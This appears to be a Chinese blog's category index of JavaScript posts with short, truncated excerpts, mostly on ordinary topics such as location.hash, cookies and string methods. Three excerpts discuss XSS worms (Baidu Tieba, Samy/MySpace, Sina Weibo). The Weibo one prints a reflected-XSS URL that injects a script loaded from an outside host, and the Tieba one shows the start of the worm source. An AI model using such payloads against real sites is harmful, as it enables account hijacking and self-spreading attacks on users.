随笔 - 825,  文章 - 0,  评论 - 37,  阅读 - 175万

随笔分类 -  JAVASCRIPT语言

location.hash && location.href
摘要:hash:设置或获取 href 属性中在井号“#”后面的分段。href:设置或获取整个URL为字符串。通过下面的测试你会发现区别,将代码放到你的HTML中,然后用浏览器打开,测试步骤:点击“超链接”,你会发现在地址栏URL发生了变化,URL后面多了一个“#foo”。点击"href",你会发现弹出的是... 阅读全文
posted @ 2014-07-18 14:09 milantgh 阅读(467) 评论(0) 推荐(0) 编辑
location.search 详解
摘要:JS中location.search什么意思设置或获取网页地址跟在问号后面的部分当以get方式在url中传递了请求参数时,可以利用location的search属性提取参数的值,下面的代码把参数的名称和对应的值存储在2个数组中。------------------------------------... 阅读全文
posted @ 2014-07-18 14:07 milantgh 阅读(3978) 评论(0) 推荐(0) 编辑
location.hash 详解
摘要:前年9月twitter改版。一个显著变化,就是URL加入了"#!"符号。比如,改版前的用户主页网址为 http://twitter.com/username改版后,就变成了 http://twitter.com/#!/username在我印象中,这是主流网站第一次将"#"大规模用于直接与用户交互... 阅读全文
posted @ 2014-07-18 14:03 milantgh 阅读(299) 评论(0) 推荐(0) 编辑
十款优秀的在线JavaScript工具介绍
摘要:JavaScript是Web开发者不可或缺的一项技能,它可以为你的网站添加丰富的交互功能和绚丽的视觉效果,以此来增强用户体验。 本文整理了10款非常优秀的在线JavaScript代码工具,涵盖编辑、压缩、美化、调试等功能,随时随地使用,大大节省你的开发成本和时间。1. jsfiddle.net在线编... 阅读全文
posted @ 2014-07-17 13:56 milantgh 阅读(601) 评论(0) 推荐(0) 编辑
百度地图API使用介绍
摘要:百度地图API开始学习百度地图API最简单的方式是看一个简单的示例。以下代码创建了一个520x340大小的地图区域并以天安门作为地图的中心:1.2.3.4.Hello,World5.6.7.8.9.10.11.12.Hello,World1.6.引用百度地图API文件当您引用地图API文件时,需要使... 阅读全文
posted @ 2014-05-25 15:48 milantgh 阅读(1067) 评论(0) 推荐(0) 编辑
sprytabbedpanels.js库之在页面中插入Tabbed Panels
摘要:向页面加入sprytabbedpanels.js文件.向页面插入SpryTabbedPanels.css 样式文件.为了在你的页面中加入tabbed panels ,请在相应位置加入如下代码在div id="TabbedPanels1"...标签中插入ul class="TabbedPanelsTa... 阅读全文
posted @ 2014-04-13 20:49 milantgh 阅读(1042) 评论(0) 推荐(0) 编辑
JavaScript之setcookie()讲解
摘要:function setcookie(name,value){var Days = 30;var exp= new Date();exp.setTime(exp.getTime() + Days*24*60*60*1000);document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();}function getcookie(name){var arr = document.cookie.match(new RegExp("(^| )"+n 阅读全文
posted @ 2014-04-12 13:02 milantgh 阅读(2234) 评论(0) 推荐(0) 编辑
2014年03月09日攻击百度贴吧的XSS蠕虫源码
摘要:var n=PageData.user.user_forum_list.info.length;var num=0; var config = { titles: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f", "\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8 阅读全文
posted @ 2014-04-09 21:04 milantgh 阅读(520) 评论(0) 推荐(0) 编辑
Samy XSS Worm之源码讲解
摘要:说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫。正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则是第一个XSS的蠕虫。因此研究XSS技术最好了解一下这个只要浏览了profile就自动把对方加为好友并列为偶像的代码的实现技术。以下是根据对Samy Worm分析的文章进行的大致翻译:1) Myspace阻塞了大量的tags,实际上他们仅允许,,这些,或者还有少数其他标签如。,,onSomething,href等Javascript元素全都被禁用了。然而,有些浏览器如IE允许在CSS标签中插入j. 阅读全文
posted @ 2014-04-09 20:48 milantgh 阅读(2582) 评论(0) 推荐(1) 编辑
新浪微博之XSS蠕虫脚本源码讲解
摘要:主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。========================================微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject(&quo 阅读全文
posted @ 2014-04-09 20:30 milantgh 阅读(1460) 评论(0) 推荐(0) 编辑
JavaScript之match()方法讲解
摘要:定义和用法match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。该方法类似 indexOf() 和 lastIndexOf(),但是它返回指定的值,而不是字符串的位置。语法stringObject.match(searchvalue)stringObject.match(regexp)参数描述searchvalue必需。规定要检索的字符串值。regexp必需。规定要匹配的模式的 RegExp 对象。如果该参数不是 RegExp 对象,则需要首先把它传递给 RegExp 构造函数,将其转换为 RegExp 对象。返回值存放匹配结果的数组。该数组的内容依赖于 regexp 阅读全文
posted @ 2014-04-09 20:05 milantgh 阅读(551) 评论(0) 推荐(0) 编辑
JavaScript之substring()方法讲解
摘要:定义和用法substring() 方法用于提取字符串中介于两个指定下标之间的字符。语法stringObject.substring(start,stop)参数描述start必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。stop可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数,那么返回的子串会一直到字符串的结尾。返回值一个新的字符串,该字符串值包含 stringObject 的一个子字符串,其内容是从 start 处到 stop-1 处的所有字符,其长度为 stop 减 start。说明su 阅读全文
posted @ 2014-04-09 20:00 milantgh 阅读(286) 评论(0) 推荐(0) 编辑
JavaScript之With语句讲解
摘要:有了With 语句,在存取对象属性和方法时就不用重复指定参考对象,在 With 语句块中,凡是 JavaScript 不识别的属性和方法都和该语句块指定的对象有关。With 语句的语法格式如下所示:With (Object){ Statements;}对象指明了当语句组中对象缺省时的参考对象,这里我们用较为熟悉的 Document 对象对 With 语句举例。例如 当使用与 Document 对象有关的 write( )或 writeln( )方法时,往往使用如下形式:document.writeln(”Hello!“)如果需要显示大量数据时,就会多次使用同样的 document.writel 阅读全文
posted @ 2014-04-09 19:43 milantgh 阅读(215) 评论(0) 推荐(0) 编辑
JavaScript之表单验证讲解
摘要:JavaScript 可用来在数据被送往服务器前对 HTML 表单中的这些输入数据进行验证。JavaScript 表单验证JavaScript 可用来在数据被送往服务器前对 HTML 表单中的这些输入数据进行验证。被 JavaScript 验证的这些典型的表单数据有:用户是否已填写表单中的必填项目?用户输入的邮件地址是否合法?用户是否已输入合法的日期?用户是否在数据域 (numeric field) 中输入了文本?必填(或必选)项目下面的函数用来检查用户是否已填写表单中的必填(或必选)项目。假如必填或必选项为空,那么警告框会弹出,并且函数的返回值为 false,否则函数的返回值则为 true( 阅读全文
posted @ 2014-04-09 19:34 milantgh 阅读(386) 评论(0) 推荐(0) 编辑
JavaScript之isNaN()函数讲解
摘要:定义和用法isNaN() 函数用于检查其参数是否是非数字值。语法isNaN(x)参数描述x必需。要检测的值。返回值如果 x 是特殊的非数字值 NaN(或者能被转换为这样的值),返回的值就是 true。如果 x 是其他值,则返回 false。说明isNaN() 函数可用于判断其参数是否是 NaN,该值表示一个非法的数字(比如被 0 除后得到的结果)。如果把 NaN 与任何值(包括其自身)相比得到的结果均是 false,所以要判断某个值是否是 NaN,不能使用 == 或 === 运算符。正因为如此,isNaN() 函数是必需的。提示和注释提示:isNaN() 函数通常用于检测 parseFloat 阅读全文
posted @ 2014-04-09 19:30 milantgh 阅读(525) 评论(0) 推荐(0) 编辑
JavaScript之Throw、Try 、Catch讲解
摘要:try语句测试代码块的错误。catch语句处理错误。throw语句创建自定义错误。错误一定会发生当 JavaScript 引擎执行 JavaScript 代码时,会发生各种错误:可能是语法错误,通常是程序员造成的编码错误或错别字。可能是拼写错误或语言中缺少的功能(可能由于浏览器差异)。可能是由于来自服务器或用户的错误输出而导致的错误。当然,也可能是由于许多其他不可预知的因素。JavaScript 抛出错误当错误发生时,当事情出问题时,JavaScript 引擎通常会停止,并生成一个错误消息。描述这种情况的技术术语是:JavaScript 将抛出一个错误。JavaScript 测试和捕捉try语 阅读全文
posted @ 2014-04-09 19:24 milantgh 阅读(464) 评论(0) 推荐(0) 编辑
Portlet之讲解
摘要:Portlet在Web门户上管理和显示的可插拔的用户界面组件。Portlet产生可以聚合到门户页面中的标记语言代码的片段,如HTML,XML等。通常,根据桌面隐喻,一个门户页面显示为一组互相不重叠的portlet窗口,其中每一个portlet窗口显示一个portlet。因此,可以说一个(或一组)portlet就像一个在门户网站上运行的基于Web的应用程序。 Portlet应用程序的一些例子包括电子邮件,天气预报,论坛和新闻等。Portlet标准的目的是使开发人员开发出的portlet可以插入到任何支持该标准的门户网站。标准远程Portlet的Web服务(Web Services for Rem 阅读全文
posted @ 2014-04-09 14:23 milantgh 阅读(466) 评论(0) 推荐(0) 编辑
JsUnit && JUnit之讲解
摘要:首先我们定义我们的函数 这里以最简单的加减乘除四个方法来进行测试建立我们的js文件myjs.jsJs代码 functionadd(num1,num2){returnnum1+num2;}functionminus(num1,num2){returnnum1-num2;}functionmultiply(num1,num2){returnnum1*num2;}functiondivide(num1,num2){returnnum1/num2;}建立我们的测试用例,mytest1.html我们将建立四个测试方法,jsUnit的测试方法必须以test开头。下面我们对myjs.js中的加减乘除四个函数 阅读全文
posted @ 2014-04-08 21:30 milantgh 阅读(585) 评论(0) 推荐(0) 编辑
JavaScript之四种继承方式讲解
摘要:在Javascript中,所有开发者定义的类都可以作为基类,但出于安全性考虑,本地类和宿主类不能作为基类,这样可以防止公用访问编译过的浏览器级的代码,因为这些代码可以被用于恶意攻击。 选定基类后,就可以创建它的子类了。是否使用基类完全由你决定。有时,你可能想创建一个不能直接使用的基类,它只是用于给子类提供通用的函数。在这种情况下,基类被看作抽象类。 创建的子类将继承超类的所有属性和方法,包括构造函数及方法的实现。在Javascript中,所有方法和属性都是公用的,因此子类可直接访问这些方法。子类还可添加超类中没有的新属性和方法,也可以覆盖超类中的属性和方法。 这里列出了四种方法来实现继承机.. 阅读全文
posted @ 2014-04-08 14:31 milantgh 阅读(253) 评论(0) 推荐(0) 编辑
JavaScript之arguments对象讲解
摘要:javascript的arguments对象类似于PHP的extract()函数实现。在不确定函数参数个数的情况下,可以通过arguments访问参数,并以索引0为起始。[javascript] view plaincopyfunctionsayHi(){alert(arguments[0]);}sayHi('Helloworld!');//弹窗helloworld!functionhowManyArgs(){alert(arguments.length);}howManyArgs("string",45);//输出"2"howManyA 阅读全文
posted @ 2014-04-08 13:34 milantgh 阅读(228) 评论(0) 推荐(0) 编辑

< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示